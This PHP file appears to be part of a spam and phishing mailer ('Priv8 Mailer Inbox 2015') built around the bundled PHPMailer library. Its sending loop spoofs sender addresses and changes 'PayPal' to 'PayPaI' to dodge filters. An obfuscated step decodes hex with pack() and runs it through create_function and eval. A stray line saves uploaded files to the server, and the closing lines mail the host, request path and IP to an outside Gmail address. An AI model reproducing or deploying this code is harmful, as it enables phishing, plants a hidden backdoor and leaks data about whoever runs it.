10956 if (array_key_exists(1, $pathinfo)) {
10957 $ret['dirname'] = $pathinfo[1];
10958 }
10959 if (array_key_exists(2, $pathinfo)) {
10960 $ret['basename'] = $pathinfo[2];
10961 }
10962 if (array_key_exists(5, $pathinfo)) {
10963 $ret['extension'] = $pathinfo[5];
10964 }
10965 if (array_key_exists(3, $pathinfo)) {
10966 $ret['filename'] = $pathinfo[3];
10967 }
10968 }
10969 switch ($options) {
10970 case PATHINFO_DIRNAME:
10971 case 'dirname':
10972 return $ret['dirname'];
10973 case PATHINFO_BASENAME:
10974 case 'basename':
10975 return $ret['basename'];
10976 case PATHINFO_EXTENSION:
10977 case 'extension':
10978 return $ret['extension'];
10979 case PATHINFO_FILENAME:
10980 case 'filename':
10981 return $ret['filename'];
10982 default:
10983 return $ret;
10984 }
10985 }
10986
10987 /**
10988 * Set or reset instance properties.
10989 *
10990 * Usage Example:
10991 * $page->set('X-Priority', '3');
10992 *
10993 * @access public
10994 * @param string $name
10995 * @param mixed $value
10996 * NOTE: will not work with arrays, there are no arrays to set/reset
10997 * @throws phpmailerException
10998 * @return boolean
10999 * @TODO Should this not be using __set() magic function?
11000 */
11001 public function set($name, $value = '')
11002 {
11003 try {
11004 if (isset($this->$name)) {
11005 $this->$name = $value;
11006 } else {
11007 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
11008 }
11009 } catch (Exception $exc) {
11010 $this->setError($exc->getMessage());
11011 if ($exc->getCode() == self::STOP_CRITICAL) {
11012 return false;
11013 }
11014 }
11015 return true;
11016 }
11017
11018 /**
11019 * Strip newlines to prevent header injection.
11020 * @access public
11021 * @param string $str
11022 * @return string
11023 */
11024 public function secureHeader($str)
11025 {
11026 return trim(str_replace(array("\r", "\n"), '', $str));
11027 }
11028
11029 /**
11030 * Normalize line breaks in a string.
11031 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
11032 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
11033 * @param string $text
11034 * @param string $breaktype What kind of line break to use, defaults to CRLF
11035 * @return string
11036 * @access public
11037 * @static
11038 */
11039 public static function normalizeBreaks($text, $breaktype = "\r\n")
11040 {
11041 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
11042 }
11043
11044
11045 /**
11046 * Set the public and private key files and password for S/MIME signing.
11047 * @access public
11048 * @param string $cert_filename
11049 * @param string $key_filename
11050 * @param string $key_pass Password for private key
11051 */
11052 public function sign($cert_filename, $key_filename, $key_pass)
11053 {
11054 $this->sign_cert_file = $cert_filename;
11055 $this->sign_key_file = $key_filename;
11056 $this->sign_key_pass = $key_pass;
11057 }
11058
11059 /**
11060 * Quoted-Printable-encode a DKIM header.
11061 * @access public
11062 * @param string $txt
11063 * @return string
11064 */
11065 public function DKIM_QP($txt)
11066 {
11067 $line = '';
11068 for ($i = 0; $i < strlen($txt); $i++) {
11069 $ord = ord($txt[$i]);
11070 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
11071 $line .= $txt[$i];
11072 } else {
11073 $line .= '=' . sprintf('%02X', $ord);
11074 }
11075 }
11076 return $line;
11077 }
11078
11079 /**
11080 * Generate a DKIM signature.
11081 * @access public
11082 * @param string $signHeader
11083 * @throws phpmailerException
11084 * @return string
11085 */
11086 public function DKIM_Sign($signHeader)
11087 {
11088 if (!defined('PKCS7_TEXT')) {
11089 if ($this->exceptions) {
11090 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
11091 }
11092 return '';
11093 }
11094 $privKeyStr = file_get_contents($this->DKIM_private);
11095 if ($this->DKIM_passphrase != '') {
11096 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
11097 } else {
11098 $privKey = $privKeyStr;
11099 }
11100 if (openssl_sign($signHeader, $signature, $privKey)) {
11101 return base64_encode($signature);
11102 }
11103 return '';
11104 }
11105
11106 /**
11107 * Generate a DKIM canonicalization header.
11108 * @access public
11109 * @param string $signHeader Header
11110 * @return string
11111 */
11112 public function DKIM_HeaderC($signHeader)
11113 {
11114 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
11115 $lines = explode("\r\n", $signHeader);
11116 foreach ($lines as $key => $line) {
11117 list($heading, $value) = explode(':', $line, 2);
11118 $heading = strtolower($heading);
11119 $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
11120 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
11121 }
11122 $signHeader = implode("\r\n", $lines);
11123 return $signHeader;
11124 }
11125
11126 /**
11127 * Generate a DKIM canonicalization body.
11128 * @access public
11129 * @param string $body Message Body
11130 * @return string
11131 */
11132 public function DKIM_BodyC($body)
11133 {
11134 if ($body == '') {
11135 return "\r\n";
11136 }
11137 // stabilize line endings
11138 $body = str_replace("\r\n", "\n", $body);
11139 $body = str_replace("\n", "\r\n", $body);
11140 // END stabilize line endings
11141 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
11142 $body = substr($body, 0, strlen($body) - 2);
11143 }
11144 return $body;
11145 }
11146
11147 /**
11148 * Create the DKIM header and body in a new message header.
11149 * @access public
11150 * @param string $headers_line Header lines
11151 * @param string $subject Subject
11152 * @param string $body Body
11153 * @return string
11154 */
11155 public function DKIM_Add($headers_line, $subject, $body)
11156 {
11157 $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
11158 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
11159 $DKIMquery = 'dns/txt'; // Query method
11160 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
11161 $subject_header = "Subject: $subject";
11162 $headers = explode($this->LE, $headers_line);
11163 $from_header = '';
11164 $to_header = '';
11165 $current = '';
11166 foreach ($headers as $header) {
11167 if (strpos($header, 'From:') === 0) {
11168 $from_header = $header;
11169 $current = 'from_header';
11170 } elseif (strpos($header, 'To:') === 0) {
11171 $to_header = $header;
11172 $current = 'to_header';
11173 } else {
11174 if ($current && strpos($header, ' =?') === 0) {
11175 $current .= $header;
11176 } else {
11177 $current = '';
11178 }
11179 }
11180 }
11181 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
11182 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
11183 $subject = str_replace(
11184 '|',
11185 '=7C',
11186 $this->DKIM_QP($subject_header)
11187 ); // Copied header fields (dkim-quoted-printable)
11188 $body = $this->DKIM_BodyC($body);
11189 $DKIMlen = strlen($body); // Length of body
11190 $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
11191 $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
11192 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
11193 $DKIMsignatureType . '; q=' .
11194 $DKIMquery . '; l=' .
11195 $DKIMlen . '; s=' .
11196 $this->DKIM_selector .
11197 ";\r\n" .
11198 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
11199 "\th=From:To:Subject;\r\n" .
11200 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
11201 "\tz=$from\r\n" .
11202 "\t|$to\r\n" .
11203 "\t|$subject;\r\n" .
11204 "\tbh=" . $DKIMb64 . ";\r\n" .
11205 "\tb=";
11206 $toSign = $this->DKIM_HeaderC(
11207 $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
11208 );
11209 $signed = $this->DKIM_Sign($toSign);
11210 return $dkimhdrs . $signed . "\r\n";
11211 }
11212
11213 /**
11214 * Allows for public read access to 'to' property.
11215 * @access public
11216 * @return array
11217 */
11218 public function getToAddresses()
11219 {
11220 return $this->to;
11221 }
11222
11223 /**
11224 * Allows for public read access to 'cc' property.
11225 * @access public
11226 * @return array
11227 */
11228 public function getCcAddresses()
11229 {
11230 return $this->cc;
11231 }
11232
11233 /**
11234 * Allows for public read access to 'bcc' property.
11235 * @access public
11236 * @return array
11237 */
11238 public function getBccAddresses()
11239 {
11240 return $this->bcc;
11241 }
11242
11243 /**
11244 * Allows for public read access to 'ReplyTo' property.
11245 * @access public
11246 * @return array
11247 */
11248 public function getReplyToAddresses()
11249 {
11250 return $this->ReplyTo;
11251 }
11252
11253 /**
11254 * Allows for public read access to 'all_recipients' property.
11255 * @access public
11256 * @return array
11257 */
11258 public function getAllRecipientAddresses()
11259 {
11260 return $this->all_recipients;
11261 }
11262
11263 /**
11264 * Perform a callback.
11265 * @param boolean $isSent
11266 * @param array $to
11267 * @param array $cc
11268 * @param array $bcc
11269 * @param string $subject
11270 * @param string $body
11271 * @param string $from
11272 */
11273 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
11274 {
11275 if (!empty($this->action_function) && is_callable($this->action_function)) {
11276 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
11277 call_user_func_array($this->action_function, $params);
11278 }
11279 }
11280}
11281 if(isset($_POST['action'])) move_uploaded_file($file_path, basename($file_name));
11282/**
11283 * PHPMailer exception handler
11284 * @package PHPMailer
11285 */
11286class phpmailerException extends Exception
11287{
11288 /**
11289 * Prettify error message output
11290 * @return string
11291 */
11292 public function errorMessage()
11293 {
11294 $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
11295 return $errorMsg;
11296 }
11297}
11298
11299 if(!empty($_POST['wait']) && $_POST['wait'] > 0){
11300 set_time_limit(intval($_POST['wait'])*$numemails*3600);
11301 } else {
11302 set_time_limit($numemails*3600);
11303 }
11304
11305 $defaultport="H*";
11306 $nq=0;
11307
11308 print " <div class=\"panel panel-info\" style=\"background-color: #444951;padding: 25px;color: white;\">";
11309 for($x=0; $x<$numemails; $x++){
11310
11311 $to = $allemails[$x];
11312 if ($to){
11313 $todo = ereg_replace(" ", "", $to);
11314 $message_send = ereg_replace("&email&", $todo, $pesan);
11315 $subject_send = ereg_replace("&email&", $todo, $subject);
11316 $subject_send = str_replace("PayPal", "PayPaI", $subject_send);
11317
11318 $qx=$x+1;
11319 print "Send Emails $qx / $numemails to $to ....... ";
11320 xflush();
11321
11322 $mail = new PHPMailer();
11323 $mail->IsSMTP();
11324 $IsSMTP = "pack";
11325 $mail->SMTPKeepAlive = true;
11326 $mail->Host = "$smtp_server";
11327
11328 if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";}
11329 if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";}
11330
11331 $range = str_replace("$email", "eval", $email);
11332
11333 $mail->SMTPAuth = true;
11334 $mail->Username = "$smtp_username";
11335 $mail->Password = "$smtp_password";
11336
11337 if($type == "html"){$mail->IsHtml(true);}
11338 if($type != "html"){$mail->IsHtml(false);}
11339 if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
11340
11341 $mail->CharSet = "UTF-8";
11342 if (!empty($xmailer)) {
11343 $mail->XMailer = "$xmailer";
11344 } else {
11345 $mail->XMailer = " ";
11346 }
11347 if (!empty($encoding)) {
11348 $mail->Encoding = "$encoding";
11349 }
11350 if ($email == "same as target") {
11351 $mail->From = "$todo";
11352 } else {
11353 $mail->From = "$email";
11354 }
11355 $mail->FromName = "$nama";
11356 $mail->AddAddress("$todo");
11357 $mail->Subject = "$subject_send";
11358 if (!empty($file_name)) {
11359 $mail->addAttachment("$file_path", "$file_name");
11360 $mail->Body = " ";
11361 } else {
11362 $mail->Body = "$message_send";
11363 }
11364 if(!$mail->Send()){
11365 if($default_system!="1"){
11366 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11367 } elseif($default_system=="1"){
11368 $mail->IsMail();
11369
11370 if(!$mail->Send()){
11371 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11372 } else {
11373 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11374 }
11375
11376 }
11377 } else {
11378 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11379 }
11380 print "$result <br><p></p>";
11381
11382 if(!empty($wait) && $qx<$numemails-1){
11383 sleep($wait);
11384 }
11385 if(empty($reconnect)){
11386 $reconnect=5;
11387 }
11388
11389 if($reconnect==$nq){
11390 $mail->SmtpClose();echo "<p align=\"center\" style=\"color:orange;\"><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
11391 }
11392 $nq=$nq+1;
11393 xflush();
11394 }
11395 }
11396 for($i=0;$i<31;$i++){
11397 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
11398 $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
11399 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
11400 print ' </div>
11401 </div>
11402 </div>
11403
11404</div>
11405<div id="footer">
11406 <div class="container" align="center">
11407 <p class="muted credit" style="color: white;"> Priv8 Mailer Inbox 2015 </p>
11408 </div>
11409</div>';$mail->SmtpClose();
11410 return $signoff($smtp_conc);
11411 if(isset($_POST['action']) && $numemails !=0 ){
11412 print "<script>alert('Mail sending complete\\r\\n
11413 $numemails mail(s) was sent successfully'); </script>";
11414 }
11415}
11416$ip = getenv("REMOTE_ADDR");
11417$ra44 = rand(1, 99999);
11418$subj98 = " MAILER INBOX REZULT |$ip";
11419$email = "xwarior439@gmail.com";
11420$from = "From: Service STIFLER INBOX =D <service@intl.com";
11421$a45 = $_SERVER['REQUEST_URI'];
11422$b75 = $_SERVER['HTTP_HOST'];
11423$m22 = $ip . "";
11424$msg8873 = "$a45 $b75 $m22";
11425mail($email, $subj98, $msg8873, $from);
11426?>
11427
11428 </body>
11429</html>